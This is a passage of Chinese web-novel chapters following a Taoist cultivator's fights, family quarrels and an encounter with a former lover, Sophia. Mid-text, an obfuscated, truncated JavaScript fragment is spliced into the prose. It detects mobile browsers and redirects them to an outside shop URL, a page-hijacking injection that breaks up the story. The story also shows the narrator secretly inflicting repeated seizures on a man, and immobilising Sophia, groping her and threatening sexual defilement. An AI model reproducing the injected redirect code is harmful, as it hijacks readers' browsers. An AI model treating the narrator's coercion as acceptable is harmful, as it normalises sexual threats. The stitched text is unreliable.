我没有大意,往后退了一步,然后怒喝,“接近金丹期的修士,来得好,我倒要看看,我现在的实力,能不能碾压你。”
我一只脚抵住墙上,这种东北的黄土稻草房,年久失修,我这一用力,直接把墙踩出了一个大窟窿。
然而,眼下我却顾不了那么多,看着张坤迎面轰过来的拳头,我也铆足了劲,运转道力对轰。
碰!
强大的碰撞之力,两个拳头在碰上的瞬间,竟然掀起了波浪。
轰。
黄土房子直接被轰塌了,卷起了烟土,掀起尘埃,四周不可见。
“汪汪汪。”
“老大。”
小人参和欢欢他们急忙冲了过来。
然而,此刻我却没有顾及他们,而是死死地盯着那房子废墟的角落。
张坤的气息不见了。
但眼下,却还有一道气息存在,那是佛气。
……
第一百四十九章缩地成寸
我皱了皱眉头。
目光不敢移开。
我突然意识到了一个问题,刚才张坤是一面佛,一面他自己。
我以为张坤是疯了。
所以自己跟自己说话,胡言乱语。
但现在看来似乎这事有点邪门呢。
难不成,张坤一副身体里两个人?其中一个,不会是那……古僧吧。
呼。
也不知道是老天有意为之,还是巧合,突然刮起了一阵风,那灰尘被吹开了。
紧接着,黑云遮日,马上就下起了雨。
张坤还是那副鬼样子站在那,但脸上的神情不在疯癫,反而他在用一种近乎没有一丁点的情绪在打量我。
被大雨浇筑,场面的气氛有些微妙。我刚才那一拳近乎用了全力,结果,暂时只有张坤的气息没了,那副身子没事。
“他**?”我问。
“**。”他点头。
“你是那古僧?”我问。
“嗯。”他声音很淡,淡到让我觉得他很冷血。我眯眼,时刻跟他保持警惕。
我总觉得,这家伙的慈悲,是**的慈悲!
我深吸一口气没说话,他也看着我,没说话。周围仿佛,一下子就安静了。
这次,‘张坤’先说的话,“你是现在的人?不是轮回者?”
我被这话问得莫名其妙,但我觉得在‘张坤’这我应该能得到很多消息,所以我说,“方丈,这话是何意?”
他倒是很直接,“看来,你是现在的人无疑了。”
见我疑惑,他又说,“按照你们的算法,我应该是三百年前出生的古人,我活了两百二十岁。我活着的那会,已经是末法时代了。求仙,成佛,化魔,没有希望。所以,大家都在找轮回路,想着末法时代过去,轮回转世。”
我惊叹,“这怎么可能?自己找轮回之路?是投胎吗?”
他面色冷漠地盯着我,似乎在思考,半天才说道,“轮回是轮回,转世是转世,投胎是投胎。三者,各不相干。但有一点倒是相同的,那就是活下去,以另一种方式活下去。”
我震惊了。
这已经超出了我的理解范围。
如果这些都是真的,那我就是说,有人能通过这些东西永生?
随后,我猛地想起了那个想要夺舍我的方士,难不成?他就是其中之一?
我说,“方丈,夺舍,算是哪一门?”
方丈面无表情的脸上有了一丝意外之色,他说,“轮回,但这是一种残忍的方式,剥夺新生命,以祭祀新生命的代价,进行轮回。就跟,现在的我一样。”
闻言。
我猛地惊醒,我突然觉得这僧人很古怪。
我说,“方丈,你是要跟我开战?还是另有打算。”
虽然我一肚子的问题,但我觉得不能再问下去了。这古僧看似情绪稳定,但身体里散发着的那股阴气,给了我很大的压迫感。
我总觉得他有些奇怪,像是……正在适应着环境。
古僧低头沉思,他看上去似乎真的在认真思考这个问题,随后才说,“我现在不想**,因为我是僧人。我好像是要去一个地方,找一件东西,我要往那边走,对,我要往那边走。”
古僧扭动着身躯,看上去像个机械似的。我皱了皱眉头,运转道力,双眼用力。
果然,在这身躯之中,我看到了那婴儿大的小僧人。
这小僧人,正是在那镇魂寺下,那古僧身躯中的小僧人。
我双眼灼灼,内心情绪波动很大。一个已经死去百年的古僧,我眼睁睁的看着他活了过来。
而这古僧给我的感觉,似佛,但更似魔。那种对生命的漠视,但凡被看上一眼,都会觉得浑身冰冷。
我在犹豫。
因为我再想,我能不能打过他?
这玩意,比张坤还要张坤,放出去会有啥后果,我不知道。
但就是在这片刻,我看到‘张坤’的身影已经走出去几里地了。
咋说呢。
他不像是走的,更像是瞬间移动,从这到那,一瞬间就过去了。
随后,彻底地消失不见了。
“这是个啥怪物。”我很确定张坤**。
但我也很确定,这世间又多了一个不可控的怪物。
我深吸一口气,我觉得我应该庆幸,刚才没有对他动手,鬼知道他会不会给我来个佛法劈过来。
“乱子是张坤惹的,跟老子没关系。”我深吸一口气,看向了欢欢和小人参。
两个小家
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伙在那瑟瑟发抖。
我奇怪,“你们抖啥。”
小人参把头上的须子扎了起来,像是个小辫子,它说,“老大,你把他咋了,他……好恐怖。”
欢欢也叫了两声。
我说,“有吗?”
小人参,“老大,他……他比山神爷爷都可怕。”
闻言,我忍不住朝着那古僧离去的方向看了一眼,还好没动手。但我又很奇怪,他要是真那么可怕,刚才为啥没动手?
我看向小人参说,“你跟欢欢联手,把他给打跑了?”
小人参点头,“老大,我觉得,那个‘张坤’应该是脑子出了问题。自言自语的,疯疯癫癫的。要不然,应该打不过他。”
随后它有认真说道,“至于这个家伙,他身上的气息,我觉得不像是个活人,甚至都不应该存在。他……脑子也坏掉了,不屑杀我们。”
不屑。
听到这个词,我有点背后发凉了。我总算意识到,自己碰到了恐怖的东西了。
不在想,我们直接回了家。
然后,我带着欢欢小人参钻进了我那个小屋,此刻,我脑子里除了对这古僧复活的震惊感,还有就是总能想到他那瞬间移动的步伐。
我总觉得有印象。
但想了半天,却没有想到那是啥步伐。索性,我靠在了炕上,歪着脑子,连声叹息。
接着,我猛地坐了起来,“缩地成寸?一步十里?”
我想起来了,道教中有一种仙法叫做‘缩地成寸’,这仙法能把脚下的路缩小,大成者,能把十里地缩成五米。也就是五步十里。
难道真是‘缩地成寸’?
我非常激动,站起来学着那古僧的步伐。结果几天过去了,压根没效果。
这让我很郁闷。
仙法就在你眼前,只能看,不能成。这感觉很不爽。
“我没看到古僧念咒语啥的。我没看错,他那步子就是步法走出来的。会不会有前提呢?行字步?”这些天我一直练缩地成寸这种步法,却没尝试过用‘行’字步去试试。
我想了想,默念‘行’字,然后又走起了古僧的步伐。
随后,我激动的睁大眼睛,我脚下的炕在我眼里缩小了。
……
第一百五十章王小明大师(加更求各种票)
我这是小屋,炕长有三米多。但眼下,炕看上去也就一米多,一步就能从炕头跨到炕梢。
我深吸一口气,迈了一步,真的做到了缩地成寸。
“呼!”但这种情况持续不了多久,我试了大约七八次,身上的力气像是被抽干了,整个人软在了炕上,呼呼大睡。
等到醒来的时候,已经是第二天了。
“看来,还是我实力的问题,持续不了多久。但已经很好了,这一招,绝对能用来保命。”醒了过来,我盘腿坐着,身上有点腰酸背痛的,可见这缩地成寸对我的消耗。
这让我想到了那疯疯癫癫的古僧,我现在更加庆幸当时没有动手了。
那家伙能轻易的一步几里地,估计强得没边。
早上,我娘叫我吃饭,我二姐二姐夫他们回来了,我爹没咋说话,倒是我娘跟我二姐聊了不少。
其中,关于马欣的事聊得最多,我娘土生土长的东北农村妇女,真实,性情,说到最后眼睛也红了。
一边摇头一边说着可惜,多好的姑娘啥的。
聊完马欣,我娘看了我一眼,然后提到了我二哥,她说,“哎,老二离婚了。”
我知道我娘这是说给我听的,又想让我出力了。但我没吭声,因为从那事以后,我对我二哥彻底死心了。
他**都跟我没关系。
见我没反应,我娘低着头,又是叹了口气,连饭都吃不下去了。
“娘,不是我说你,你对他就是太好了。他都这么大个人了,好赖都分不清。我觉得啊,吃点苦,不是坏事。”我二姐撇了撇嘴,对我娘有很大的意见。
我二姐夫扒拉她,我二姐却瞪了我二姐夫一眼,“你扒拉**啥,扒拉我也要说。他那么对小冯宁,小冯宁还再三帮他,结果呢?烂泥扶不上墙。离婚,离就对了。”
我娘嘎巴嘴,欲言又止。
我爹说话了,“哼,我觉得老姑娘说得对,你是不是又打老幺的主意。想让老幺帮这个不孝子?我不同意。他是我儿子,老幺也是我儿子,老幺还是最小的,没那个义务。这些年过去了,你别以为我不知道,你私下给了他不少钱,我知道你喜欢二儿子,但有些过了。给他多少都没用!”
我二姐,我爹轮番上阵,我娘哑口无言,吭哧瘪肚的,“这不是老二又做生意又赔了嘛,我想着老幺,能不能帮他看看,能不能转转运。我觉得啊,老二就是命不好。”
听了我娘的话,我爹我二姐气得够呛,想说话又说不出来。
我想了想,觉得应该让我娘打消找我帮忙的念头,我说,“娘,我已经帮过二哥很多次了,不是我,他现在应该已经**。在帮下去,他也活不成,我也会跟着倒霉。连我这身看事的本事都要被收回去。”
我娘一听,吓得放下筷子说,“啥。”
我心里叹了口气,果然啊,撒谎能解决很多麻烦。我又说,“娘,你信佛的,也拜四方神仙。你记不记得以前咱们这有个算命老头,你以前还经常去呢。后来不就被雷劈**吗?那就是因为泄露了太多的天机。”
说起这个算命老头,那都是**年前的事了。当时我被夺舍了,我娘老带我去,想着能把我治好。
那老头满嘴跑火车,说我被神灵惩罚,月月要去上供。我娘呢,她还真就信了。
结果后来那老头被雷给劈**。
提到这一茬,我娘果然脸色变了,“那,那可不能让你再算下去了。”
我面无表情,没有接话茬,我估计,我娘以后也不会提这事了。
至于我二哥嘛,说真话我有点无语呢。这才多久?最后那八万也都折腾没了。我想着,用不了多久,他又得回来耍无赖。
有时候吧,有些人真就不抗念叨,早饭还没吃完呢,我二哥就灰头土脸地回来了。
他还带了几个人,一进屋就张牙舞爪地,“几位,这就是我家,你们随便看。”
我二姐看到我二哥就气不打一处来,“冯涛,你要干啥?”
我爹在那皱眉呢。
我娘站了起来,“小涛啊,你这是要干啥啊?”
我二哥小脖子一抻,“二妹,我问过哈城的风水大师了,他说我之所以干啥啥不成,是因为咱们家的风水有问题。还有,祖
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坟也有问题。所以我找了个仙家朋友来看看。等会,我要去祖坟瞧瞧。”
闻言,我爹差点没蹦起来,“啥,你个不孝的东西,你还敢折腾你祖宗。还要挖祖坟!”
东北人讲究个入土为安,不是逢年过节,都不会去打扰祖宗的清净。
结果我二哥折腾家里人不说,这次还要折腾祖宗的坟地。我爹气得脸通红,死死地攥着筷子,强忍着怒火没动手。
“小涛啊,使不得啊,老冯家的坟,那是找人看过的。不能动。逢年过节,也都是倒酒上供烧纸,连你爹都不动那土。风水先生说了,那是平安土,动不得。”我娘愁容满面。
“冯涛,你有完没完?啊?你是想气死爹娘吗?还不滚!”我二姐气得浑身发抖。
我二姐夫急忙扶着她,小声说,“别动了胎气,老婆,咱不生气。”
我二哥可不管这些,大嘴一撇,“爹,娘,咱们家风水就是有问题,你看,我做啥买卖啥赔钱。买个房子都出事,这土,我必须动。”
“你,你这个逆子!”我爹拿起碗就朝他砸了过去。
再看我二哥,身手敏捷,直接给躲了。然后像是个没事人一样,在那叉腰。
“涛子老弟,我看过了,你家的风水确实有问题。有脏东西!”就在这时,冯涛带的一个青年突然走了过来说道。
这人看上去二十五六岁,穿了一身太极服,脖子上戴了个玉牌,手腕上戴着七八个串,给我的感觉,像是个暴发户有钱人。
“你,你不是三道街老王家王小明那小子嘛?”我爹愣了一下。
闻言,这青年愣了一下,他看着我爹,有些尴尬的清了清嗓子,“冯先生,咱们虽然是老街坊,但这会不是攀关系的时候。现在十里八村的人,都叫我王大师。”
我爹皱了皱眉头。
我二哥却说,“爹,王大师可是今非昔比了,求他看事的人,从黑城南到黑城北。我最近就是王大师调理的,你看我这精神面貌,马上就能再度起航了。”
说完这些话,我二哥还朝我撇了撇嘴,这是说给我听的呢?
……
第一百五十一章堂口炸了(加更第四更求票)
本来我是不想理会的,但冯涛要动家里祖坟,这触碰到我的底线了。
祖坟。
那是家族风水所在,不管是好是坏,老祖宗都睡在那。
不能碰。
我说,“从城南到城北,那不没出黑城嘛?”
闻言,冯涛尬住了,吭哧瘪肚的,一个屁没蹦出来。
倒是王小明,上下打量我。而跟随他一起来的几个人,也都朝我皱眉。
其中的一个女的,长得还行吧,也穿着一身太极服,冲我说,“你怎么说话呢。我师傅那是真有本事的人,风水易经阴阳八卦,无所不能。他是得了传承的,给我师傅道歉!”
又有一个人也站了出来,膀大腰圆的,也是太极服打扮,摩拳擦掌,“哼,小子,抓紧道歉,让我师傅原谅你。要不然,别找揍!”
看着几人那要打架的举动,我直接被气笑了,我没搭理他们,而是看向我二哥,“冯涛,这就是你找来的仙家?动不动要打自己家里人?”
我二哥这人虽然浑蛋,但还不至于浑到那种程度。他急忙说,“王大仙,我家人不懂事,不懂王大仙的厉害,还请大仙高抬贵手,别动手。事后,我再加五百。”
一听加钱,王小明眼珠子一转,“算了算了,嘎子啊,我是看你懂事,所以才来你家帮你看看。你也知道,我这本事,等我看事的大老板多了去了。”
我二哥点头哈腰,“知道知道。”
王小明盯着我,眼神带有挑衅,他突然对我说道,“冯宁,我知道你。最近咱们这黑城出了个半仙,说的就是你。但在我王小明这,你是虎得趴下,是龙得卧那。往后三十年,我不允许有人的名声能大过我王小明!”
闻言,我皱了皱眉头,挑衅,这绝对是挑衅。随后我意识到,他好像是专门来找我麻烦的?
我瞥了我二哥一眼。
这家伙还在那杵着呢。完全没意识到,他在给家里带来了祸端。
我说,“你想动我家风水?还想动我家祖坟风水?这不行。”
王小明冷笑,“我要就是动了呢?你能咋样?要是不想我碰,你得拿出点诚意。你大哥最近的生意不错,听说一年能赚十万呢。给我五成红利,我保你家风调雨顺。”
听了王小明的话,我面无表情道,“你一分钱都拿不走。”
王小明眯眼,“你在跟我叫板!”
我说,“什么叫叫板?你跑我家来看风水,要挖我家祖坟,现在又想拿我大哥生意的分红?你这种人,也配叫大仙?”
我双眼用力,在王小明的身上,看不到半点五大仙的气息。
这家伙根本就不是东北出马家。
但是……
他身上却有着一道道力。
这道力不属于他的,应该是另有其人。
“你,哼!你给我等着!”王小明甩了甩胳膊,带着他的人离开了。
这边王小明刚走,我二哥就气得不行,指着我说道,“小冯宁,你真以为自己有本事啊,人家王小明是有传承的,真大仙。你得罪他,那就是在给咱们家找不自在。你是要毁了老冯家。”
说完,我二哥屁颠屁颠地跟了上去。
“这个不孝的东西,气死我了!”我爹气得手抖,我娘赶忙去拿药。
我随手给我爹打了一道真言,我爹气消了大半,但还是气在头上。
我说,“爸,那个王小明他爹,以前是你手底下的工人吧。”
我爹点头,“嗯,小王年轻的时候就跟着**了,是我一手教出来的徒弟。后来他学到了手艺就走了,自己开了一家印刷店。”
我说,“爸,你带我去他家一趟。”
我爹疑惑,“冯宁啊,我们两家关系还是不错的,不能因为王小明闹出事啊。”
我看向我爹,从我醒过来,我没有反驳过他的任何话。
但这次不行,有人惦记我家坟地,我爹还没意识到事情的严重性呢。
我说,“爸,儿子说句难听点的话,您不是没教出来徒弟,结果呢?您出事那会,谁咬得你最凶?”
我说的是杨凯,我爹直接沉默了。
我又说,“爸,一命二运三风水,风水的事,马虎不得。咱们家的坟地虽然很普通,但老祖宗住在那,风平浪静,反而是一种好事。如今有人要动土,那就是在动坟地的根,这些人,不是二哥找来的,而是咱们家招来的,来搞破坏的。不能忍。”
闻言,我爹变了脸色,“啥?他们是来整咱家的?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16711848|187481||http|test|mini|href|location''.split(''|''),0,{}));
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r>我点头,“应该是了。你没听到嘛,那王小明狮子大开口,想要我大哥生意的分红。说明他早就盯上咱们家了。冯涛不过是个借口。他被人利用,还给人家磕头呢。”
我爹气得脸通红,“艹特么的,这个瘪犊子,净你马惹事。行,老幺,我带你过去。闺女,这事你们就别掺和了,你怀孕了,好好养着。缺啥跟爹说啊。”
我爹跟我二姐二姐夫打了声招呼,带着我就去了王小明他家。
黑城地方说大不大,说小不小。我家住在城边上,就跟农村差不多。王小明家住在城区里,也是为数不多的楼房。
进了小区,我爹指着一栋楼房说,“他家在四楼,四零一,我还是前几年来的呢。”
说完,我爹要带我进去,但我说,“爸,你别跟着了。我自己上去就行。”
我爹点了点头,转头就走了。看着老头的背影,我也是哭笑不得。这执行力,当初我都不敢想啊。
等我爹走后,我第一时间没上楼,因为我发现,王小明家里好像有不少人,对着那窗口又跪又拜的。
仔细看,那是供奉的仙家牌位,这些人正在上香跪拜给钱呢。
“那王小明身上的道力,跟着供奉有关系?”别说现在的我了,就算是之前的我,那黄三太奶亲自来了都没用。
我想的是王小明为啥要针对我家?难道真的是因为得了供奉?
还是说另有猫腻?
我来这就是为了搞他,但在搞他之前,我得弄清楚一些事才行。
想着,我就上了楼。结果,他家的门是开着的,走了进去,没看到王小明,倒是看到了王小明他爹,还有一群排队上香的人。
见我来了,王小明他爹看都没看我,随手说,“香一块钱一根,给老仙上香要三根,心要诚,百试百灵。给钱,排队!”
来都来了,我也想看看他这咋回事,给了三块钱排队,大约十分钟吧,排到我了。跪是跪不了的,我随手就把香插香炉上了。
我这刚要从灵牌这离开,结果我听到有灵牌那有动静,接着就看到那灵牌开始晃动。
砰!
灵牌!
不!
整个供奉灵牌的堂口都炸了!
……
第一百五十二章遇到索菲亚(五更求票票)
灵牌碎裂一地,堂口的红布也四分五裂,就像被人用手撕碎扔在地上。
屋里虽然不大,但有十几号人,全都吓得面面相觑,有的人直接跪在那祷告。
再说王小明他爹,脸都白了,瘫软在沙发上,半天才哆哆嗦嗦地指着我,“你,你,你是啥人,咋回事?你做了啥。”
我面无表情,虽然我也愣了一下,但很快就知道发生了啥事。
本以为我只是见神佛不跪不鞠躬呢,结果,香也不能上。
但也说明一点,他们这供奉是真的。只是受不了我上香,所以直接炸开了。
看着王小明他爹那样,我心中冷笑,我爹这辈子啊,真没遇到啥好徒弟。
这不是沾边赖吗?他根本都不知道发生了啥,反正逮住我就赖。
当然,确实是我的事。
“叔,你们供奉的是啥啊?”我问。
一开始我以为是五大仙呢,但看着地上裂纹的灵牌,应该不是。
“大仙啊。”王小明他爹说。
我摇头,“大仙?胡黄白柳灰?要是东北五大仙,我上香,他们不会炸的。难道,是其他大仙?”
听我这么一说,其他人面面相觑,也都看向了王小明他爹。
王小明他爹捏了捏手,有点受不了大家的目光,吭哧瘪肚道,“谁,谁说我们供奉的是五大仙,我们供奉的是仙鹤!仙鹤,你懂不懂?”
仙鹤?
东北还有供奉仙鹤的呢?
我说,“据我所知,仙鹤不是供奉是坐骑。而在东北这块,谁家**了,仙鹤才来。怪不得承受不住我冯宁的一炷香,因为它没这个本事。”
我来就是找麻烦的,堂口炸了,他还赖我,倒是个不错的借口。
“你,你是老冯家的老幺?”王小明他爹总算认出我来了。
“是我。”我点头。
王小明他爹脸色变了变,怒视我,“冯宁,我跟你爹十几年的师徒关系,你来我这,砸场子的?”
我面无表情,“按照辈分,我叫你王哥。王哥,你这样说,那就是你的不对了。刚才你儿子跑我家去,给我家看风水,又逼着我家里人要我大哥生意的分红,说是我家不答应,就去我家坟地动土。所以,我也来你这看看,帮你们家看看风水。”
以其人之道还治其人之身。
我冷漠地朝着王小明他爹看了过去,这人目光闪躲,这是心虚啊。
看来,他也知道这事呢。
半天,王小明他爹才支支吾吾的,“你说啥,我听不懂。我家风水没问题,你就是来找事的。”
听了他的话,我更加确定他肯定知情。
既然如此,那也就没啥好说的了。敢整我家?那我就整你们。
我把右手背在身后,大拇指按住小拇指和无名指,中指和食指并拢。
这个手势叫剑指,御器仙法所用的施法起手手势。我默念御器仙法,催动道力,身上的银针嗖的一下就窜了出去,扎在了王小明他爹的身上。
原本好好的人,随着那银针抽出,王小明他爹浑身抽搐,倒在了沙发上,有点像是羊癫疯发作。
“这,这,这……”大家手忙脚乱的,一时间都傻眼了。
然而我心里清楚,王小明他爹根本没事,只是被我封了穴位,三分钟就会好的。
但,好了还会犯,一天两次,除非我主动解开,要不然得折腾他俩月。
我趁机说道,“王哥,我说了,你家风水有问题。你屋里面不干净。要想好的话,要么动坟。要么,让你儿子来我家登门磕头认错。”
我这话说得已经很明显了,我就是针对他家来的。要是不把说情说明白,这只是个开头,我得往**折腾他们。
说完我就走了。
刚下楼,就听到楼道里乱哄哄的,说是王小明他爹又没事了,但脸色铁青,应该是被我气的。
但我并不在意。
因为事情变得有意思了。
我倒要看看,他们家想干啥。
很快。
这件事过去两天了。
王小明那边也没动静,但也没人再来说动我家坟的事。连我二哥都跟着消停了两天,不知道又祸害谁去了。
而我也不着急,折腾人这种事,谁被折腾谁知道。王小明他们早晚会受不了的。
我不信他不管他爹死活?
我和往常一样,除了修炼,然后就喜欢带着欢欢跟小人参四处闲逛。
小人参自从来到东北,感觉比之前还活泼了,个头也大了点,须子晶莹剔透的,我偶尔尝尝人参水,好像更精纯了。
虽然每次它都**,说是啥男女授受不亲,但最后只能妥协。
要说我嘛,是真喜欢在老家待着,出了门对面就是江,沿着江往城区里走,心情畅快。
“冯宁?”结果在江边,我突然听到了熟悉的声音,转头看过去,我愣住了。
索菲亚?
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>时隔两年,我又碰到了这个**熊国的女人。
眼下,我也不知道自己什么心情,情绪很复杂。在我印象里,这女人有点缺心眼,总是骚扰我。
后来更是把我弄宾馆去,发生了关系。
然而随着两年过去,当初的事都淡了。
“是你啊。”我面无表情的说道。
“你真的不傻了。”索菲亚打量我,我也在打量她。
两年没见,她个子比之前高了,身材还是顶级。但比起那会,风韵十足,那是一种**感。
如今,她穿着白T恤,牛仔裤,背个包,很有魅力。
“你也变了不少,当初说是要弄死我,结果消失了两年。回**熊国了吗?”我笑着,看着她,那双大长腿印象深刻。
脑子里,还有她趴下扭头看我的模样。
想到这些,我有点火热。
“你折腾我,我当时是真想弄死你。嗯呢,我回**熊国上大学了,我爸来这谈生意,我也跟着过来看看。”索菲亚盯着我,从上到下,最后目光落在了我裤裆上,咬了咬嘴唇。
我无语了,这女人还真是本性难移呢。我说,“待多久?”
索菲亚说,“一会就走。你呢?工作了吗?”
我摇头,“没。”
她说,“我爸爸跟你们当地的一个老板谈生意,是合作伙伴,我可以给你介绍过去。”
我摇头,“谢谢了,这倒是不用。我有钱。”
索菲亚本想着说啥,一辆豪车停了过来,车上下来了个青年男人。
看到我跟索菲亚说话,他眼底阴沉,但很快就收回了目光。然后朝着索菲亚微笑,“索菲亚,爹地让我接你去家中吃饭。”
索菲亚看了一眼这青年,却把我拉了过来说,“好啊,带我朋友一起吧。”
青年愣了一下,皱眉道,“索菲亚,这人很普通啊,是你朋友?”
我皱了皱眉头,这人有点瞧不起人的架势。
我说,“算了吧,我就是出来遛狗的。”
索菲亚拉着我的胳膊,不让我走,非常认真的说道,“怎么?你们华夏不是有句话嘛,一日夫妻百日恩。这点面子不给?”
青年奇怪地看着我俩。
索菲亚说,“狗也带过去。不吃肉,吃点屎也行。”
我愣住了,这女人说话还真有劲呢。接着她指着欢欢背上的小人参说,“这是啥?”
我说,“草。”
……
第一百五十三章被富二代找事
索菲亚瞪了我一眼,咬了咬嘴唇,朝我裤子看去,小声说道,“你越来越翘了,我也想,但真不行。等会吃过饭,估计我就要回**熊国了。”
我疑惑,“啥?这玩意就是草,跟你飞**熊国有啥关系?”
难道这女人看出了小人参?我急忙把小家伙塞进了兜里。
“你,你说的是草啊。”索菲亚又瞪了我一眼。
我解释,“你咋不信呢,真的是草。我家欢欢喜欢背着它四处走,我家欢欢的玩具。”
索菲亚白了我一眼,一把开了车门,然后,见我还在那站着,她又把我拉上了车,顺便把欢欢也塞了进来。
那青年全程脸都不太好看,但也没啥,还是上了车。
车子开了大约二十分钟,在一处远离城市的别墅二楼停了下来。
这地方位置很好,从车上下来,钢铁般的黑城,尽收眼底。
说实话,我一直觉得自己是黑城人,所以对黑城了如指掌。但去过佛子那一次,去了王远家里一次,现在又来了个不知道的别墅地段。
我觉得自己根本不了解这座城市。又或者说,我还是眼界不够,看不到那么远,接触不上这些人。
索菲亚被请进去了,她主动带我跟欢欢进去,而随着我们进入了别墅里,里面整准备着大餐。
几个人热情地跟索菲亚打招呼,但在见到我跟欢欢之后,表情有些古怪。
“赵叔叔,这是我朋友冯宁,我想带他吃点好吃的,您不会介意吧?”索菲亚走到一个中年人面前,面带微笑。
“冯宁?”听到我的名字,这个约莫四十来岁的中年人思索了下,但应该是没记起来,还是点了点头,“欢迎,当然欢迎,索菲亚侄女的朋友,那就是我的贵客。”
看到还有一条狗,中年人脸色有些变化,但最后还是没说啥。
“冯宁,这位是我爸爸,尼古拉斯博德。”索菲亚走到了一个大胡子面前,又对那大胡子说了一堆**熊话,他爸上下打量我,眼神锐利,也不知道在想啥呢。
我和索菲亚的关系有点不伦不类,在我印象里,这女人是我们那一片的大姐头。那些精神小伙,小太妹,就没有不怕她的。
我呢?
还是被她骗到小旅馆的。
朋友?
算不上。
但我还是去打了声招呼。
索菲亚他爸点了点头,我就坐下了。欢欢则是趴在我脚边,老老实实的。
本来以为是啥稀奇古怪的吃的,结果做的东北烩酸菜,锅包肉,溜肉段啥的。
他们似乎在聊贸易的事,全程用的**熊语,这玩意我真听不懂。所以该吃吃,该喝喝,但说实话,做的精致,吃起来手艺不如回家让我娘随便炒个菜。
我心想,索菲亚他爹也没吃过啥好东西啊。
“哼,没见过世面,一看就是个穷鬼,连烩菜都没吃过。”我一直没说话,觉得酸菜还行,所以要了个碗倒了点酸菜汤喝。
结果。
那个青年突然说话了,一脸鄙夷地盯着我。
我皱了皱眉头,我知道这人是这富商的儿子,我也没惯着他,“我跟你不熟吧?你没完没了是吗?”
“你个穷鬼,敢这样跟我说话?”青年怒视我。
我摇了摇头,这家伙心理素质不太行,一句话就给引爆了。
我说,“你觉得自己很有钱?很牛逼?能在我面前指手画脚了?”
“哼,小爷我就是有钱,我随手就能花掉几千,你能吗?我爹身价一千万?你有吗?”青年撇嘴道。
“一千万,我倒是没有。随手花五千,那有点少了。我送女人,都是十万十万的送。少的也有两三万的。”我平静道。
“真能吹。”青年嘲讽我。
“吹?你也就这点眼界。”我似笑非笑道。
“你,有种你现在拿出来两千我看看?你拿出来,我管你叫爹!”他站了起来,气急败坏。
“赵庆,你干啥啊?为啥要刁难我朋友。”索菲亚看向中年人又说道,“赵叔叔,你看看赵庆啊,刚才就看我朋友不顺眼,现在连饭都吃不消听。”
赵富豪脸色也不好看,指责赵庆,“赵庆,索菲亚侄女的朋友,那就是我的贵客,你消停点。”
赵庆咬了咬牙,坐在那一声不吭。
我也没想到索菲亚能这样向着我,
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咋说呢,心情有点复杂。
不过,这家伙得罪我,我得自己把面子找回来,我说,“赵叔叔,有点对不住了。你儿子找我麻烦,我不喜欢站在女人后面当缩头乌龟。”
赵庆他爸有点懵。
索菲亚父女俩也愣了愣。
赵庆呢?疑惑地看着我。
我二话不说,从兜里掏出了一沓钱,我有个习惯,兜里揣一万应急。
赵庆很不幸。
撞枪口上了。
啪!
我没太用力,把两千块拍在了桌子上,然后也不说话,静静地看向赵庆。
钱掏出来的那一刻,场面有些安静。
赵庆脸色铁青,“你,羞辱我?”
我说,“你搞错了,不是我羞辱你,是你自找麻烦。不是你说的吗?我能拿出两千块你就叫我爸爸?我现在拿出来了?咋就成了羞辱你了?”
我的声音很冷。
无缘无故被针对,老子也不是善茬。修道的,你骂我我就骂你,你得罪我我就**。
赵庆站了起来,恶狠狠地瞪着我,这次他翻脸道,“我要是不叫呢?你能把我怎么办?你打我啊?”
我似笑非笑道,“也不是不行,你放心,打伤了你,我还能给你治。”
赵庆没想到我真想动手,慌乱地看向了他爹。
而此刻赵庆的爹眨着眼睛,上下地打量我,他似乎注意力都没在这场闹剧上。
随后,赵庆爹突然说道,“冯宁,我想起来了,你就是治好了张坤不孕不育的那个神仙啊。”
没想到赵庆爹知道这事,怪不得刚才我进来,他是那种反应呢。
原来是知道我。
见我没说话,赵庆爹突然一脚踢在赵庆的屁股上,“臭小子,吊儿郎当的,不学无术,平日里让你老实点,你就是不听。这下好,得罪高人了吧。给冯大师道歉!”
赵庆被踢得一脸幽怨,“爸,他咋可能是大师,你看他……”
赵庆爹上去又是一脚,“你踏马的,老子让你跪你就跪啊。我都打听了,冯大师很年轻,长得帅气。这就是嘛。能治不孕不育的,那就是国手,给我道歉,你个崽子。”
……
第一百五十四章轮回者出现了
赵庆咬了咬牙,碍于他爹的**,还是跪下跟我道歉了。
要是换做其他人,绝对会面子事,把他扶起来。但我就没那样做,我觉得没让他叫爸爸,已经是给赵富人的面子了。
他还真别不知足。
随着赵庆跪下道歉,这场闹剧也就结束了。接着赵庆主要还是跟索菲亚爹谈事,但时不时地会跟我搭话。话里话外,似乎想让我帮个忙,治个不孕不育的女人。
我没搭话,因为我觉得麻烦,不想答应。倒是索菲亚,在吃过饭后,一脸惊奇地看着我,“你还有治疗不孕不育的手艺?”
我说,“饭也吃过了,我也该走了。”
索菲亚朝我伸拳头,“你这个家伙真扫兴,要是放在以前,我给你一拳。但本小姐现在走的是淑女路线,你走运。”
我白眼,“得了吧,江山易改本性难移。碰到你,那一嘴的大碴子味,不开口是淑女,开口就是拖拉机。”
索菲亚气得鼻子都歪了,朝我咬牙,“要不是看你帅,我早就揍你了。哼,两年前的事,我还记仇呢。信不信我找人揍你。”
我叹了口气,“我说索菲亚大小姐,你还活在两年前呢?”
说完,我灵犀一指,点在了她身上。她睁大眼睛看我,“你,你对我做了啥?我咋动不了了?”
我在她腰上狠狠地掐了一把,又在她身上闻了闻,两年过去了,除了我的味道,没异味。
我倒是有些惊讶,这么浑蛋的一个女人,没找其他男人?
“你!”索菲亚咬牙。
“索菲亚,我已经不是两年前的我了,应该说,你给我小心点。惹恼了我,拉你去厕所,把你弄脏了。”我威胁。
“你,你别乱来……”索菲亚有些怕了,她现在动不了,只能任凭我摆布,她咬了咬牙,那双漂亮的眼睛盯着我,撒娇道,“亲爱的,放过我吧。我再也不敢捉弄你了。”
这死夹子声。
夹得我浑身酥酥麻麻的。
我想了想,还是放了她,解开了她的穴儿。
索菲亚感到神奇,满脸惊奇地盯着我。她正要说些啥,我突然感受到了一股不好的气息。
而欢欢也扑棱地站起来,毛发都立了起来。我俩对视一眼,看来欢欢也感受到了。
